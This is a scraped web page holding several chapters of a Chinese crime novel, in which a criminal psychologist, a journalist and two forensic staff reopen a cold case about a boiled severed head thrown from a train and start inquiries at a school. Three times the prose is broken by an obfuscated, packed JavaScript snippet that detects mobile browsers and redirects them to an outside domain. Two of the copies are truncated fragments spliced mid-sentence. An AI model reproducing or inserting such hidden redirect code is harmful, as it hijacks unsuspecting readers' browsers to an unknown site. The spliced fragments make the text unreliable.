“起码要逮捕到犯罪嫌疑人,证据链固定完备并做一审判决后,才原则上可以向公众披露。”刘明城显然有备而来,答得很明确。 听上去可真是遥遥无期啊,但这也给了章弥真极大的驱动力。于是她很干脆地刷刷签下了自己的名字。 刘明城见状笑了,清了下嗓子道:“关于铁道抛颅案,我已经请示过王副厅,领导的意思是,案件如有新进展,便可以正式重启。” “意思是……现在暂时不能重启?”秦梓需虽然早有心理准备,可难免还是有些失望。 “不重启不代表不调查,只是不会有太多的资源倾斜向咱们。秦老师,你放心,人员会给你,经费我也会拨给你,但都比较有限,我希望的是能尽快获得新进展,你们在座四位,是先头军。这二位,你们都认识过了吗?” “是的,刘痕检,李法医。”秦梓需应道。 “她们会协助你办案,这两位都是刑技中心经验丰富的办案能手。”刘明城道。 刘雪莹这会儿终于意识到情况不对,笑容略有些僵硬,李之枚面色已有些无奈了。 刘明城再次看了一眼章弥真,随即目光转回到秦梓需身上,笑问:“我很好奇啊,章老师和你是初中同学?” “是的。”秦梓需点头。 “那你打算让章老师帮你查些什么呢?”刘明城问。 “查一些公安系统查不到的人际关系,毕竟铁道抛颅案这么多年过去了,尸源仍然没有查清,足以证明此路不通。”秦梓需道。 章弥真心道:真看得起我,我有这本事吗? “你打算从哪里查起?” “无非两个出发点,一是查被害人的身份。我个人认为这两起案子既然有可能关联,我们可以从陈君梅(即陈老师本名)的个人履历查起,查她自出生到现在,深度接触过哪些人,哪些人有可能在她去世后,专程到胥城来找她。 “二则是查嫌疑人的身份。就从当年那家补习机构的老师和学生查起。”秦梓需道。 “陈君梅的情况,你应该有查过吧?没有发现吗?”刘明城问。 秦梓需摇头,无奈地轻轻叹息:“我认为她的情况,公安并非完全掌握。所以我怀疑,还有一些公安没法查到的东西。这点,还得靠章记者来查。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997403|161689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 章弥真后背一紧。 “关于第二点,你打算怎么查?”谷道全问。 “被害人去那家补习机构,应该是有明确目的性的,无非是拉名单,一个一个排查关系网。”秦梓需道。 刘明城沉吟了片刻,看向身旁的谷道全,二人交换了一下眼神,似是对此也不大抱有希望。 谷道全道:“补习机构的老师、学生的名单,当年是保留了,排查了,没有可疑人员。这些人的行踪轨迹都非常固定,绝大部分都是附近居民,没人在案发前去过列车上,居住条件也极难犯案,且他们与被害人之间毫无瓜葛,根本没有杀人动机。” 秦梓需没有反驳他,此时她从老谷身上确认了当年公安确实没有查教师、学生,因为直接从补习机构排除可能性了。 她道:“两条腿走路,查人际关系之外,还必须重新检查当年的生物检材和那个篮球包,这件事必须要做。” “当年能查的都查了,这一次打算从哪里切入?” 秦梓需看了一眼不远处的刘雪莹,道:“我听说最新的侦查手段里,有一种稳定同位素追踪,可以通过骨骼中的锶同位素分析死者生前长期居住地,误差半径约50公里,对吗?” 刘雪莹倒吸一口凉气。 刘明城道:“你说的这个方法我确实知道,去年部里刚发布《法医人类学技术规范》,将锶同位素分析列为‘疑难尸源鉴定推荐方法’。但是,目前全国的锶同位素数据库还没完全建立起来……小刘,锶同位素追踪你能做吗?” 刘明城向她投去探寻的目光,刘雪莹忙摆手道:“这个我肯定做不了,这需要国家级实验室来做,起码是要送到部里的刑技中心去做。” “如果能送过去,出结果需要多久?”秦梓需追问。 “起码三周,一般是三到六周。这还不算排队的时间,现在全国应该也就三家实验室能做。”刘雪莹道。 刘明城眉头紧皱,死死盯着屏幕一会儿,终于拍板道: “好,我会和领导商量,向上打申请,我尽量帮你们申请到。” 这个情况已经比秦梓需预想得要好不少了,上级愿意出力,总好过她独自一个人跑断了腿。若能由此确定被害人生前长期生活的地区,那么排查她的身份应该就能有更大的突破。 刘明城道:“关于案情的细节,小刘和李法医还不是特别清楚,你再和她们讲一遍吧。正好我和老谷也再听一遍,你中途有什么疑问,也可以问老谷。” “好。”秦梓需将自己的pad拿出来,投屏到会议室的显示屏上,再次讲述案情。 章弥真也跟着被迫又听一遍,不过这一回她发现多出了很多的细节。比如秦梓需给出了陈老师一家五口的验尸结果。 “陈君梅距离爆燃点最近,她的尸体被炸碎了,破坏严重,且被压在塌方的楼板下,各方面遭受了不同程度的损伤,照片我就不放了,一会儿我会传给李法医。尸块已经没有保存了,只能依靠当年现场留下的一手资料来做判断。 “陈君梅的丈夫马军是被冲击波击晕后窒息而亡,后尸体被火焰吞没,重度烧毁。 “马媛媛和她的祖父马程、祖母潘秀丽三人是因楼板坍塌,从二楼坠落,摔晕过去后窒息而亡,然后烈火焚身。 “这个案子的主要疑点就在于陈君梅当晚的异常行动,我们必须解释她当晚到底为什么会出现在厨房之中,爆炸究竟是否是她引发的。此外,关于后门斜坡上留下的这个帆布鞋脚印,也是重要线索,不可忽视。” 秦梓需说完后,看了一下刘明城和老谷的脸色,二人都凝眉望着屏幕沉思,看来确实开始重视起爆燃案中刑事案件的可能性。 秦梓需接着讲述铁道抛颅案,章弥真在她的这一轮叙述中,知晓了当年警方是如何排查列车的细节。且老谷也跟着补充了很多当年的侦查细节。 11.第十一章 警方首先通过包裹上的土壤、草籽痕迹、包裹附近地面上的痕迹、头颅之上的撞击点,计算出了头颅坠落时的运动轨迹,确认这个包并非是有人放在铁道旁,而确实是从列车上抛下的。 接着排查嫌疑人所在的列车。铁道巡查间隔2小时,警方首先将包出现前2小时途径那段铁路的12趟列车找到。其中有5趟货车,7趟客车。 货车好排查,因为都是集装箱式货车,装卸前验货,外来人进不去,进去了也出不来,无法抛尸。 车上拢共7个人——2名机车乘务员,也就是司机和副司机。1名车辆乘务员,1名列车长,3名货运员。有没有带包,带了什么包,中途有什么动作,都一清二楚,很快就排除了嫌疑。 7趟客车之中,有4趟都是窗户不能打开的动车组,根本无法抛尸。3趟是有部分窗户可以打开的25K型单层列车。 所以排查对象就集中在这3趟列车之中,抛颅点此前的站点都有可能是凶手上车的地方,因而当年警方一共查了8个站点,要到了这三趟列车售卖出的所有车票记录,但这些信息与身份并不关联,只是车次、座位号、优惠票类型、出发/到达站点的记录。 这些记录的数量达到了十分惊人的5000多人的程度,警方的排查工作做得非常困难,哪怕联系到了所有涉及省市的警力,紧急对沿线各个站点进行了拦阻巡检,将可疑的那三趟车仔细查了个遍,尽量将座位号与乘客身份一一对应上,并排除掉明显不符合凶手画像的人员,比如年迈的老人、年幼的孩子、腿脚不方便的残疾人和盲人等。最终人数依然高达上千人,且这上千人中相当一部分只有车次、座位号的信息,全无身份信息。 “当时真的是跟凶手赛跑抢时间,案发后,各级的反应都特别快,立刻就开始拦截列车突击检查,但还是来不及啊,距离案发前经过的最近一趟列车也已经快到最终站了。中途经过了非常多的站点,凶手都有可能下车。所以……我们实在是不能肯定现在这份上千人的名单,到底是不是漏掉了凶手。”老谷挠着自己所剩不多的发顶纠结道。 “抱歉我打断一下。”法医李之枚出言道,众人的目光都看向她,“我觉得咱们死盯着这份名单没有多大意义,信息量太少了,价值不大。刚才秦老师说得对,要查的话,得从与被害人明确产生关联的地方查起。” “你也认可查那家补习学校?”刘明城问。 李之枚看上去性格直率,有话直说:“是的。还有就是,我在疑惑一个问题,凶手砍下被害人的头颅另外抛弃,身体他到底是怎么处理的?是分尸了还是整体埋葬了?这个问题很关键,所以寻找尸源最重要。” “这不是查不到嘛。”老谷无奈摊手道。 秦梓需这时道:“我认为多半是埋葬了,而不是随意抛弃,否则早该有发现。如果要埋葬,分尸的意义不大,凶手砍掉头颅、煮熟后抛弃的意图多半只是想要给警方的调查制造困难,避免尸体被发现后,警方轻易辨认出被害人的身份,从而顺藤摸瓜找到他。 “我认为凶手处理尸体的能力不足,他大概只能处理掉头颅,哪怕砍掉头颅,也很费劲。关于分尸工具,当年法医给出的判断是家用砍肉刀,刀子不算锋利,颈部断面有不少软组织撕裂和骨骼碎片,有多次砍劈的痕迹。 “此外,头颅很可能是被高压锅煮熟的,凶手还加入了白醋进行烹煮,从DNA链断裂的程度判断,烹煮的时间大概不会超过2个小时,虽然造成了相当程度的破坏,但仍然有一部分骨髓内部的DNA被保留了下来。 “这意味着,凶手很可能没有足够的时间去处理尸体。 “所以我的初步判断是,被害人的身体可能埋葬在一个容易被发现的地方,并非真正人迹罕至的深山老林。凶手很可能当年没有处理身体的能力,而他也许并不独居,因而没有一个足够隐蔽的空间来处理头颅,只能紧紧张张地利用同居者不在的时间,尽己所能地将头颅处理后拿出去丢掉。” 李之枚看上去若有所思,她似乎比较认同秦梓需的判断,并已经顺着她的想法继续思考下去。而本有些抗拒的刘雪莹已经做了两页笔记,记得很认真,她已经被案情完全吸引,陷入了深度思考中。 这个案子前所未见,犯下此案的凶手很可能是个十分罕见的高智商罪犯。在如此缺乏线索的情况下如果能破获,莫说功劳,本身的成就感就是非凡的。刘雪莹其实刚工作不满5年,还是个新人,这次居然能被安排到这样的任务中,她感觉自己一生不可错过的机会终于来了。 她二人兴奋起来了,但章弥真却很不舒服。 秦梓需如此仔细地描述凶手处理头颅的过程,让她感到胸口滞闷。那是一种可称之为恶寒的感觉,一个现代人类怎么可以如此丧心病狂地将同类的头颅放在锅里烹煮,难道他没有丝毫的同理心吗?这是返祖吗? 她虽不知道凶手是谁,却已然从对方的身上感到了十足的蛮荒气息。 自案情分析开始以来一直沉默的章弥真终于开口说话了: “你说当时他没有时间处理身体,那后来呢?他会不会等有能力了,再去转移那具身体?否则既然埋在一个容易被发现的地方,为什么到现在还没有被发现呢?” 秦梓需点头:“你提的这个想法确实有可能,而且可能性还不小。” “这就麻烦了……”老谷下意识摸口袋,想拿烟抽,但看在场这么多女同志,他到底还是把手缩了回去。 “确实麻烦了,如果他有余力去处理剩下的身体,很难说现在身体还能不能找到,也许已经被烧成灰了。”刘明城叹息道。 大概是见大家沉默不语,士气低迷。刘明城一转语气,鼓励道:“最坏的情况大家心里有数就行,我们该查的事儿还是要一步步查,无论如何,穷尽所有的手段,也要把这个穷凶极恶的罪犯抓住,让他伏法!” 他转头看向李之枚和刘雪莹,道:“案情,秦老师都交代清楚了,你们俩还有没有什么问题?没问题的话,从今天这个时刻起,你们就跟着秦老师工作,完成重启本案的先期调查。” “我没问题。”李之枚给出很肯定的答复。 刘雪莹也立刻表决心道:“我也没问题。” “秦老师,你有没有要问老谷的问题?”刘明城又看向秦梓需,问道。 “不知道谷警官有没有详尽的铁道图,最好是当年查过的铁道线路都能标注出来。我这里没有这方面的资料。”秦梓需道。 这回老谷很干脆地道:“没问题,一会儿我就能调给你。” “我暂时没有其他的问题了。”秦梓需道。 “好,那先散会,老谷…你先带章记者去信息处,给她安装一下蓝信,然后你们四个人拉个群,随时保持联系。另外,秦老师你们跑案子,市局给你们出车,不用你们自己多花交通费。餐费、住宿费我们也给报,发票开来就行。有什么困难就和我们说,别太客气了。”刘明城道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005116|161689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “太好了,谢谢您。”秦梓需感激道。 谷道全带着章弥真先行离去,刘明城让李之枚和刘雪莹先行一步回刑技中心,给秦梓需、章弥真安排临时办公位,同时办理临时门禁卡和工作证。 待会议室里人都走光了,刘明城神情严肃下来,望着秦梓需,缓声道: “老张年初走的时候,我在胥城督办案子,实在太忙了,去北京就呆了一天,很遗憾没多去陪陪他的家人。等今年冬至,我应该能得空,去给老张扫墓去,顺便告诉他破案的好消息。” “承您吉言。”秦梓需露出微笑。 刘明城感叹:“他有个出色的徒弟,秦老师,说句心里话,我很佩服你。像你这样的人,现在真的不多了。” 秦梓需有些感动,也有些尴尬,一时不知该说什么才好。 刘明城笑笑,他早就看出来秦梓需不善交际,为了不让她太难过,于是道: “走吧秦老师,我带你去四处转转,认认门。我在这待了也有半年了,也算熟门熟路了,哈哈。” 秦梓需忍住没问刘明城到底在胥城督办什么案子,她收拾东西,起身跟着他离开会议室。二人并行于走廊上,刘明城问: “你和你师傅这性子可真像,秦老师,你会画像吗?” “会,但我毕竟是二十多岁才入门,天赋不够,后天锻炼也不足,实在比不上师傅。不过,我更擅长三维形态测量,那是我和师傅研发的模型。”秦梓需道。 刘明城感叹:“是啊,科技发展真是突飞猛进,以前想都不敢想的事,现在都能实现了。” 秦梓需道:“但还是师傅手绘的画像更有灵魂和神韵,那种东西,是计算机模拟不出来的。真是让人一眼就好像看到了活人似的。他老人家不仅仅是神笔马良,更是心理学大师,我差得远了。” “那你觉得老张复原的那张画像,有没有问题?”刘明城问。 “肯定没有问题,不然当年的目击证人不会看到画像后就立刻认出来了。” “但我真的很纳闷,为什么就没有吻合的失踪记录呢?画像已经发给全国公安协查了,难道死者没有家人朋友吗?”刘明城看来被这个问题也困扰很久了。 “又或者,记录丢失了。”秦梓需道。 刘明城一时没说话,他刷卡,带秦梓需进入了信息中心的安全门。迎面走来一位年轻男警官,陪着一位背着电脑包、戴眼镜的年轻男子,刘明城认出那年轻男子来,喊道: “咦?卢工,你来了啊。” “你好,刘总,我来定期检修,还有给信息处处理一下网络问题。”年轻男子扶了下眼镜笑道。 “最近系统不稳定啊,你别急着走,我那里的网络好像也有问题,小李,你带卢工去我办公室,帮我看一下。”刘明城道。 “好的刘总。卢工,请跟我来。”那位姓李的年轻男警官应道,然后带着背电脑包的年轻男子出了安全门,往一般办公区而去。 刘明城见秦梓需扭头看那二人,解释道:“那是网络工程师,专门负责帮市局运维系统的,省厅那里也是他们公司负责。最近服务器被境外黑客攻击了,公安系统一直很不稳定。” “境外黑客攻击?”秦梓需挑眉。 “是啊,这事儿……保密。”刘明城做了个下压的手势,这个话题便揭了过去,轮到了他这个层级的人出马,看来这事儿不是小事。 秦梓需眸中流露出若有所思的光。 12.第十二章(投雷加更No.2) 章弥真觉得市局信息中心乱哄哄的。这里有一块好大的、占据了一整面墙的大屏幕,有无数屏幕拼接其上,展示着不同的内容,同时还能协同展示同一个画面。 这里摆着一排排的电脑,看上去就像是学校的机房。好多人在这里忙来忙去,在每一台电脑前调试着什么,她不大能看懂这些,只感觉好像是系统出了什么问题。 老谷带她找到了一位年轻的技术员,交代清楚情况后,他道一声还有事要忙,就离开了。技术员开始帮章弥真安装软件。 章弥真从前只听说过警方查案沟通用的都是内部软件,今天终于知道这玩意儿叫做蓝信,是个封闭的警务平台,一般智能手机都能安装,但需要管理员设置权限。 章弥真安装蓝信后,被赋予了访客权限,她无权查看任何内部信息,除非有人给她发邀请。 正忙活着,刘明城带着秦梓需找来了。刘明城直接在蓝信里建群,将她俩和刘雪莹、李之枚都拉了进去,群名为“050831”,完全是以她们马上要着手查的这起铁道抛颅案的案发时间命名的。 看上去很不正式的样子,章弥真内心暗暗吐槽。 “章记者,实在麻烦您了,本来是我们公安该干的活,结果还得靠您。”刘明城开始说些客气的场面话。 章弥真笑道:“您放心,我一定全力以赴。” “您这次帮了大忙,后续如果有机会,咱们一定再合作。”刘明城道。 章弥真眼前一亮,看来往后不愁报道素材了,没什么比和官方建立起良好关系更重要,这一趟她就算啥也没查出来,也算是不小的收获。 恰好此时,有一位男警官在门口喊刘明城:“刘总!” 刘明城知道是急事,转头对秦梓需和章弥真道: “实在不好意思,我还有急事要处理。你们一会儿去刑技中心,临时办公位已经安排上了。那个…小宋,你帮个忙,送她俩进刑技中心。” 交代完,刘明城就急匆匆小跑着离去,临走时晃了晃手机:“有事就蓝信联系!” 啥事这么着急忙慌的?章弥真感觉警察简直比她们记者还要忙。 “不好意思,最近咱们遭到了黑客攻击,我们给系统做了一次升级,还撤换了一些设备。刘总这些日子一直在忙这事儿呢。”那位被称作“小宋”的技术员解释了一句,“您二位跟我来吧。” 章弥真嗅到了新闻的气息,她扭头看秦梓需,秦梓需竖起食指立在唇上,示意噤声保密,章弥真顿感无奈。啥啥都要保密,真没劲儿! 小宋带她俩出了信息中心,穿过走廊,对面就是刑技中心的安全门。两个安全门中央是通往一般办公区的走廊,两条走廊交叉成T字型。 “这门对门,各占半壁江山啊,挺有意思。”章弥真道。 “不能说是各占半壁江山,咱们信息处和刑技中心算是双剑合璧,公安破案,就靠这两把利剑了。”小宋是个随和的人,笑呵呵应道。 “会说话!”章弥真夸道。 秦梓需其实挺想打听一下境外黑客的事,但终究还是忍住了。这毕竟不关她的事,她还是做好自己分内的事吧。 小宋刷开了刑技中心的安全门,将二人让进来后,便告辞离去。章弥真一进来就嗅到了一股古怪的化学药水的味道。 她登时脸色微微发白,心想不会看到什么泡在福尔马林里的人体标本吧。 秦梓需一眼看穿她心思,笑道:“放心,法医不在这里解剖,这里是做实验的地方。” “器官……还是有的吧。”章弥真小心翼翼确认道。 “有是有,你害怕吗?” “不怕,又不是没看过猪腰子猪心,反正都差不多。”她故作镇定。 秦梓需:“其实我本来想说你可以去对面办公的,毕竟你是记者嘛,干的活也都是搜集情报,信息处更适合你。” “是吗,还能这样?”章弥真立刻来了兴致,言语中透露出的惊喜根本掩饰不住。 “不能,哈哈……”秦梓需绷不住笑出声来。 “你这个家伙!”章弥真反应过来,立时憋红了脸,气得抓着她的衣领来回摇晃,恨不能揍她一顿。 “哈哈哈……”虽然被晃得脑花都要摇匀了,秦梓需还是笑得乐不可支。章弥真真是个有趣的人,有她在,秦梓需感觉自己的抑郁倾向都淡去了。 章弥真深呼吸,说服自己不要和秦梓需计较。秦梓需却已经迈步往里面去了,她只能不情不愿地跟上。 “喂!我一直很好奇一个问题,你的名字为什么叫梓需?好奇怪的名字。”章弥真很突兀地问了一个秦梓需没意料到的问题。 秦梓需笑道:“我妈怀我的时候,起初几个月身子反应很大,她请了长假回外婆家养胎。外婆家门口有一棵梓树,我妈说那棵梓树的气味让她非常安心,身子很快就没有过度反应了。我外婆说她其实就是想家了,连带着觉得肚子里的我也和家乡亲。 “《诗经》云:‘维桑与梓,必恭敬止。’还有□□的诗句:埋骨何须桑梓地,人生无处不青山。‘桑梓’自古以来都是故乡的代指,所以梓这个字是我妈选的。 “需,来自于六十四卦的需卦。寓意耐心等待,顺应天道,伺机而动。这个字是我爸选的,他在我妈怀孕的那段时间一直在研究易经,想给我起个高深的名字。他觉得需这个字特别高深,有种东方既白、潜龙在渊的美感。 “他俩吵半天,都觉得自己选的字作为单名是最好的。最后我都出生了还没吵出结果,无奈之下,我爸让了我妈,两人选上的字合一起,我妈选的字排前面,我爸选的字排后面,我就叫梓需了。” 章弥真没想到她的名字来源还有这么复杂的门道,但仔细咂摸一下,又觉得这名字确实起得挺好: “那你的名字岂不就是,回到故乡,耐心等待,伺机而动?挺有意思,你现在确实回到家乡了呢。你爸妈给你起的名字,暗合了你未来的人生际遇。” 秦梓需回头看她,道:“那你的名字也挺符合你这个人的。弥真,彰显真相,很适合作为新闻记者的名字。” “哈哈,那是,我表里如一,人如其名。”章弥真非常厚脸皮地自夸道。 正插科打诨,走廊那一头传来了呼唤声: “喂~~在这里。” 是刘雪莹在招手呼唤她们。 二人于是过去,进入了走廊尽头的一间办公室,刘雪莹、李之枚已经在这里张开了两张折叠桌,布置了折叠椅,拉了电源线,足够秦梓需和章弥真移动办公了。 “还缺什么,我们俩来添置。”李之枚手里拿着抹布,问道。 “没事,足够了,谢谢你们。”秦梓需道。 “秦老师,您别客气,以后您就是咱们的领导了!”刘雪莹笑道。 章弥真内心嗤了一声,心道:老娘才不听她领导呢。 李之枚看向章弥真,问道:“章记者,您还需要点什么?千万别和我们客气。” “别,李法医,您叫我小章就好,叫章记者怪生分的。”章弥真忙道。 “那我喊您真姐,您特别有大姐大的范儿。”刘雪莹也插嘴进来道。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15011826|161689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 秦梓需看着她们三人聊开了,互相熟悉、确认称呼,她有点插不上话,默默地走到折叠桌边,放下自己的包。她一个上午都没有喝水休息,这会儿感到又渴又累,从包里取出矿泉水来,灌了几口。 “秦老师!您爱喝茶吗?我这儿有大红袍和生普,您想喝哪个?”刘雪莹见她喝水,忙出声道。 “啊,我……”秦梓需一时间竟不知该如何选择。 “嗨,啥茶都行,先泡上再说。”李之枚催促道。 刘雪莹赶紧去准备大壶,李之枚又拉了两张椅子,和章弥真一起围着秦梓需坐下。 “秦老师,咱们下面该怎么查?”李之枚就像学校里最乖最积极的学生似的,盯着秦梓需真诚发问。 秦梓需环视了整个办公室,不答反问:“这里是你们俩的办公室?” “不是的,这里是痕检的办公室,小雪和另外三位痕检员共用。我的办公室在法医室那里。”李之枚解释道。 “另外三位痕检员呢?”秦梓需奇怪问。 “让他们暂时搬走了,反正痕检员平时工作不是在出现场,就是在实验室,到办公室里的时间不多。”李之枚道。 刘雪莹将泡好的茶端了过来,先给秦梓需沏了一杯,又给章弥真沏了一杯,最后才捧着她自己的茶杯,围坐下来。 秦梓需心想,刘总点这两位给她打辅助,应该是有他的道理的。她想了解一下两人的能力、性格如何,然后再判断该如何与她们合作。 秦梓需问李之枚:“李法医,你对植物学的了解有多少?” “法医植物学吗?这是我的专长。”李之枚非常自信地回道。 秦梓需恍然大悟,刘总点兵果然有他的道理。 她看了一下表,道:“这会儿快中午了,等一会儿吃完午饭,我希望你就开始着手做生物检材和花粉的检测。当年曾经从包上提取到一种花粉,但碍于技术条件,无法判断植物类型和分布地区,你的任务就是搞明白这一点。还有就是,尽可能在那头颅上找到更多的线索,这非常重要,在锶同位素的检测结果没出来之前,你的工作是重中之重,决定我们能否找到案发地点。” 李之枚严肃点头:“头颅在尸库里保存,花粉应该在痕检物证库里,我下午就带花粉去尸库一趟。” “那我呢?”刘雪莹迫不及待地问。 “篮球包就交给你了,你重新做一下这个包的化验,我想知道这个包上除了花粉,还留下了哪些痕迹,我需要找到可以与花粉进行交叉比对的线索。”秦梓需问。 “好的。” “我希望你吹毛求疵,去找非常细小的线索,什么样的都行,力求突破前人的发现,但凡有新东西,一定事无巨细全部记下来。”秦梓需道。 “那您找对人了,小雪做事就是精益求精,心细如尘,吹毛求疵,但动作太慢了,经常被人嫌弃。”李之枚笑道。 “哎呀枚姐!”刘雪莹被揭短,一时害臊,阻止李之枚继续说。 “慢点没事,我要的就是精益求精。这个案子能否突破,全看你们俩手头上的工作能不能有新发现了。”秦梓需笑道。 “那我俩呢?我俩干啥?”章弥真问。 “下午我跟你走,你想怎么查陈老师,我听你的,给你打下手。”秦梓需捧起茶杯,吹了吹,抿了一小口。普洱很香,口舌生津。 “哦。”秦梓需突然捧了章弥真一下,让章弥真有些不大适应。她其实也没想好该怎么查陈老师,在同学群里直接问肯定不大好,思来想去,觉得还是得回一趟母校找线索。 13.第十三章 胥城中学的历史,几乎和这座城市的历史一般源远流长。胥城有三千年悠长的建城史,至今最内圈的主城区城市轮廓与春秋时期初建时依旧完全吻合。 而胥中所在的位置,曾经是春秋战国学宫所在,后又是州府书院所在,建国后胥中在此建校延续至今,硬要说也有三千年历史了。 这所中学本来是初高中合体的中学,在世纪初教改之际被拆分,初中部、高中部各自独立,高中部搬迁后改名为师范附中,成为了胥城一流高中之一,初中部仍然还叫胥城中学。 秦梓需驱车,带着章弥真一路从市局驱车来到胥中时,是下午两点。 秦梓需开的是章弥真的车,而她自己的坦克300已经还车了,由于领导已经答应给她出车,她打算省点钱,她本来就住在市局旁,车子也是在市局旁就近提的,还车倒不麻烦。 章弥真胃口不大好,中午在食堂吃饭,她没吃多少东西,午间有些委顿,精神头不足,秦梓需便主动提出自己来开车。章弥真窝在副驾闭目养神,看上去脸色有些苍白。 侦办恶性刑事案件,确实需要强大的心理素质。章弥真虽然是身经百战的媒体战士,到底不是刑警,她需要一个适应的过程。昨天她被刺激到了,食不下咽、睡不安寝,这会儿精神萎顿实属正常。 秦梓需从左口袋里摸出了两颗大白兔奶糖递给她:“吃点糖。” “嗯……谢谢。”章弥真接过,大白兔奶糖还带着秦梓需的体温,天气热,已经有些融化变形了。 她也并不嫌弃,剥开一个丢进嘴里慢慢含着吃。 秦梓需又从右口袋里摸出了一个提神棒,递给章弥真:“清凉薄荷,抹点在太阳穴和人中上,人会舒服很多。” 章弥真接过,吐槽道:“你哆啦A梦吗?专心开车,我没事。” “你被我拉下水了,我得照顾好你啊,不然良心难安。”秦梓需眸光观察着路况,嘴里轻声道。 “切,你少来,我是自愿的,这事儿是我想干,我不想干,你拉不动我。”章弥真嘴硬道。 谁上午还说被拉下水的来着?秦梓需不戳穿她,但内心充满感激。 胥中到了后,秦梓需出示了一下警官证,车子允许进入内部停车场。章弥真下车后,伸了个懒腰,环视了一下眼前熟悉又有些陌生了的校园。教学楼还是和过去那般,变化不大,这楼已经是30年历史的老楼了。远处的体育馆和操场重修了,显得更为现代化。 这会儿正好是课间,能看到穿校服的孩子们在操场和教学楼下的空地上玩儿。 章弥真突然对秦梓需道: “我这十多年没回来,怎么感觉学校好像变小了?” 秦梓需笑道:“那是因为你长大了。” “哈哈,那确实。” 大概是被校园的青春气息感染,章弥真的精神状态感觉好多了。二人并肩穿过教学楼中庭,迎着学生们投来的好奇目光,向校行政楼走去。 “秦老师,你们这样一直在学校里工作的人,是不是感觉从来没毕业过?”半道上,章弥真好奇问秦梓需。 秦梓需道:“我可不是一直在学校里工作的,我毕业后先考研读了犯罪心理学硕士,然后在一线干了三年,其中派出所实习了一年、刑侦队待了两年,后来回校读博,留校。主要是我遇到了好导师。” “哦,就是那位张鑫警官?”章弥真问。 秦梓需点头:“对,他那年刚拿了公安部的特殊津贴,被公安大学聘为博导。我会回校读博,就是因为他画了那张画像。我瞄准了要他当我的导师,这是查这个案子最快的捷径。” “那你考警察,包括读博,都是为了查当年的案子?”章弥真终于问出来了。 “对。我不入这个队伍,不会知道当年的案子到底是怎么回事。我一直为此努力,到刑侦队时才终于接触到当年案件的卷宗,知道了抛颅案受害者与陈老师之间的关系,然后才知道了我师傅的存在。”秦梓需道。 “那你师傅呢?这次你回来,是他的意思吗?” “我师傅……今年年初已经突发疾病过世了。”秦梓需道。 章弥真心头一震:“抱歉。” “没事,我这次是请了很久的长假,专程来查这个案子。也算是,了却我师傅的遗愿,解开我自己的心结吧。” 好强大的毅力和决心,目标明确,一步一个脚印地实现自己的目的,真是厉害……章弥真心中感佩。 她本来想着,活着的人为了死去的人把自己未来的一生搭进去,牺牲了可能会更好的前途,是不是不值得?但如今看来,这想法未免太过狭隘,太过自我为中心。 她不是秦梓需,不知道她的追求和理想是什么。道路都是自己选的,如果秦梓需一辈子能做好这一件事,给那些尘封在过去的人一个清白,将尚未伏法的恶魔抓住。那一切对秦梓需来说就是值得的。她走得如此艰难,却依旧如此坚定,足见这就是她的追求。 二人沉默地进入了行政办公楼。一进门就看到了公示栏,上面展示着去年的十佳教师,还有一些学校活动的照片。 章弥真有些感慨:“当年,陈老师的照片常年挂在这上面呢。” “是啊。”秦梓需叹息。 章弥真回身看向秦梓需道:“我记得管档案的冯老师,不知道这么多年过去了她还在不在学校工作了。当年她好像顶多也就三十来岁,这会儿应该还没退休。” “你居然记得管档案的老师?”秦梓需很惊讶。 “记得啊,当年我妈动过让我转学的心思,我跟着我妈找过她的。不过后来没转就是了。” “你记性真好。”秦梓需感叹,她从和章弥真重逢后,就有这样的感叹。在派出所里见面时,章弥真认出她的速度可比自己认出她快太多了。 “那是,我就是这么冰雪聪明,过目不忘。”章弥真再次厚脸皮自夸。但她确实近乎有过目不忘的本领,上学时从未被背诵困扰过,看过的东西都能轻松记得很牢固,尤其对文字非常敏感,阅读速度极快,记人脸的本事也是一绝。 秦梓需跟着她上了行政楼三楼,径直往档案室去。半途二人撞上了一个中年男性从走廊旁的办公室出来,见到二人后,中年男性主动出声拦住她们: “你们是做什么的?” 秦梓需直接亮出警官证,道:“我们有些事想查,想找一下学校管档案的老师。” 这中年男性有些惊讶,他道: “二位在我办公室稍等,我去汇报一下。”说着就把二人让进办公室。 秦梓需、章弥真抬头一看,原来这里是教务主任办公室。 “您是教务主任啊。”章弥真笑问。 “对对对,二位稍等,我去和校长汇报一下,很快就回来。”这教务主任大概是突见警察,有些太紧张了,一时间忘了自我介绍。 他走后,章弥真悄声对秦梓需道:“有个警官证可真威风,瞧你把人家吓的。我也想随时拿出来:我是警察,我有事要查,请你配合。”她粗声粗气地说着,手空举在身前,不知道在模仿谁。 秦梓需又被她逗笑了:“按理说,你现在确实是辅警了。” “切,也不给我个编制,连一毛钱工资都没有!真小气。”章弥真吐槽。 秦梓需汗颜,掏出手机点开微信:“那我先给你打三千块钱吧,预支一个月工资。” 